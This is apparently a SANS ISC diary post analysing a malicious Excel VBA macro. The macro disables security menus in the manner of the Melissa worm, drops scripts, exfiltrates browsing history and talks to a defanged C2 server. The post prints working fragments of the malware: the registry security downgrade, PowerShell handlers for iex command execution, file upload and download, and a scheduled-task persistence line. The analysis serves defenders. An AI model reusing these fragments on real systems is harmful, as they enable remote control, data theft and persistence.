Threat Level: green Handler on Duty: Xavier Mertens

SANS ISC: VBA Macro Trying to Alter the Application Menus SANS ISC InfoSec Forums

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VBA Macro Trying to Alter the Application Menus

Who remembers the worm Melissa[1]? It started to spread in March 1999! In information security, it looks like speaking about prehistory but I spotted a VBA macro that tried to use the same defensive technique as Melissa. Yes, back in 1999, attackers already tried to use techniques to defeat users' protections. The sample macro has a low VT score (7/44) (SHA256:386e1a60011ff0a818adff8c638005ec5015930c1b35d06cacc11f3ab53725d0)[2].

The macro tries to implement the same as Melissa did in the past. The Microsoft VBA interaction with the operating system and applications is very deep and you can achieve lots of interesting actions (from an attacker's perspective). The interesting properly used in this case is Application.CommandBars[3]. Here is the sample of code:

If System.PrivateProfileString("", HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security", "Level") <> "" Then
  CommandBars("Macro").Controls("Security...").Enabled = False
  System.PrivateProfileString("", HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security", "Level") = 1&
Else
  CommandBars("Tools").Controls("Macro").Enabled = False
  Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1) :Options.SaveNormalPrompt = (1 - 1)
End If

It tries to disable menus related to security but when I tested in my lab, it did not work. I decided to test with a less sensitive menu and  I successfully tested with a less critical option Edit / Cut:

CommandBars("Edit").Controls("Cut").Visible = True
CommandBars("Edit").Controls("Cut").Enabled = False
Application.CommandBars("Built-in Menus").ShowPopup

Now, the menu Cut is disabled:

Why Microsoft allows this kind of operation? For example, to prevent the user to copy/paste data or printing a sensitive document. This technique is the same as found in the Melissa worm[4], the remaining code of the macro is not heavily obfuscated and drops a lot of scripts on the file system:

C:\ProgramData\Windows\Microsoft\java\GoogleUpdateschecker.vbs
C:\ProgramData\Windows\Microsoft\java\hUpdateCheckers.ps1
C:\ProgramData\Windows\Microsoft\java\hUpdateCheckers.base
C:\ProgramData\Windows\Microsoft\java\dUpdateCheckers.base
C:\ProgramData\Windows\Microsoft\java\cUpdateCheckers.bat
C:\Windows\Temp\bi.bat
C:\Windows\Temp\bar.bat
C:\Windows\Temp\bob.bat

The goal of the macro is to achieve reconnaissance on the victim's computer and exfiltrate the browsing history through the tool BrowsingHistoryView.exe[5]. Then, it connects with the C2 server (hxxp://www[.]mumbai-m[.]site/update_wapp2.aspx). Capabilities are classic:

Execution of code:

if ($rid.EndsWith("0")) {
    $rcnt = $rcnt | ? { $_.trim() -ne "" }
    $res += $rcnt.Split("&") | foreach-object { $_ | iex | Out-String }
    sndr $rid $res
}

The upload of files:

elseif ($rid.EndsWith("1")) {
    $adr = $rcnt.Trim()
    if (Test-Path -Path $adr) {
        $adrS = adrCt "$rid" "4"
        ${global:$wc}.UploadFile($adrS, $adr)
    }
    else {
        sndr $rid "404"
    }
}

The download of files:

elseif ($rid.EndsWith("2")) {
    $savAdr = $upPath+$rcnt.trim();
    $adrS = adrCt "$rid" "5"
    ${global:$wc}.DownloadFile($adrS, $savAdr)
    sndr $rid "200<>$savAdr"
}

Persistence is achieved with a scheduled task:

code4="@schtasks /create /F /sc minute /mo 1 /tn ""\UpdateTasks\JavaUpdates"" /tr ""wscript /b ""C:\ProgramData\Windows\Microsoft\java\GoogleUpdateschecker.vbs""""NEXTLINE@schtasks /create /F /sc minute /RU ""SYSTEM"" /mo 1 /tn ""\UpdateTasks\JavaUpdates"" /tr ""wscript /b ""C:\ProgramData\Windows\Microsoft\java\GoogleUpdateschecker.vbs"""""
code4 = Replace(code4, "NEXTLINE", vbCrLf)

I found the technique (to change the layout of menus) interesting and not very common. Did you find other samples like this one? Please share your feedback.

[1] https://en.wikipedia.org/wiki/Melissa_(computer_virus)
[2] https://www.virustotal.com/gui/file/386e1a60011ff0a818adff8c638005ec5015930c1b35d06cacc11f3ab53725d0/details
[3] https://docs.microsoft.com/en-us/office/vba/api/excel.application.commandbars
[4] https://packetstormsecurity.com/files/12131/melissa.macro.virus.txt.html
[5] https://github.com/tresacton/PasswordStealer/raw/master/BrowsingHistoryView.exe

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS Threat Hunting London 2022

Xme

649 Posts
ISC Handler
Feb 5th 2021

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